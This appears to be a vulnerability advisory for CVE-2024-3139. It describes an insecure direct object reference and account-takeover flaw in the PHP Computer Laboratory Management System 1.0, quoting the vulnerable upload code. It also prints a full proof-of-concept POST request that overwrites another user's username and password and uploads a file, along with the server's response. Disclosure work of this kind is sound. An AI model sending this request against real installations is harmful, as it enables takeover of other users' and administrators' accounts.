Computer Laboratory Management System 1.0 Insecure Direct Object Reference

`#Vulnerability Details:  
#Application Name: Computer Laboratory Management System  
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
#Vendor Homepage: https://www.sourcecodester.com/users/tips23  
#BuG: Insecure Direct Object References (IDOR) and Account Takeover  
#BuG_Author: SoSPiro  
#CVE: CVE-2024-3139  
  
# Vulnerable code section:  
  
if(!empty($_FILES['img']['tmp_name'])){  
if(!is_dir(base_app."uploads/avatars"))  
mkdir(base_app."uploads/avatars");  
$ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION);  
$fname = "uploads/avatars/$id.png"; // The $id value is directly used in the file path  
// Rest of the code  
}  
  
  
# Vulnerability Description:  
  
This vulnerability exists in the section of code responsible for handling file uploads. The $id variable, obtained from user input ($_POST), is utilized directly in constructing the file path without appropriate validation or authorization checks, leading to both IDOR and account takeover vulnerabilities. This allows an attacker to manipulate the $id parameter to access and modify files of other users, including administrators.  
  
  
  
# Proof of Concept (PoC):  
  
- Poc Video : https://drive.google.com/file/d/1P0Vg_sYM9S43_rJTe1l5E2Vt9gzvb0YX/view?usp=sharing  
  
  
- Request:  
  
POST /php-lms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------38244968796537297751592545024  
Content-Length: 8393  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/php-lms/admin/?page=user  
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
X-PwnFox-Color: green  
  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="id"  
  
7  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="firstname"  
  
testtt  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="middlename"  
  
testMiddle   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="lastname"  
  
te Last Name   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="username"  
  
admin2  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="password"  
  
qwe123  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="img"; filename="hack.png"  
Content-Type: image/png  
  
PNG  
...  
  
- Response:  
  
  
HTTP/1.1 200 OK  
Date: Mon, 01 Apr 2024 10:19:19 GMT  
Server: Apache/2.4.54 (Win64) PHP/8.2.0 mod_fcgid/2.3.10-dev  
X-Powered-By: PHP/8.2.0  
X-Xdebug-Profile-Filename: c:/wamp64/tmp\trace.localhost.1711966759.10780.cgrind  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 1  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
1  
  
  
# Impact:  
  
This vulnerability allows attackers to access and modify user data and profile pictures, leading to potential phishing, distribution of malicious content, and reputational damage. Additionally, unauthorized access to administrator accounts can occur, resulting in the compromise of sensitive information. This poses a significant risk to the security and usability of the application.  
  
  
  
# Reproduce:  
  
https://github.com/Sospiro014/zday1/blob/main/idor%2Baccaunt_takeover.md  
https://vuldb.com/?id.258914  
https://www.cve.org/CVERecord?id=CVE-2024-3139  
  
  
  
`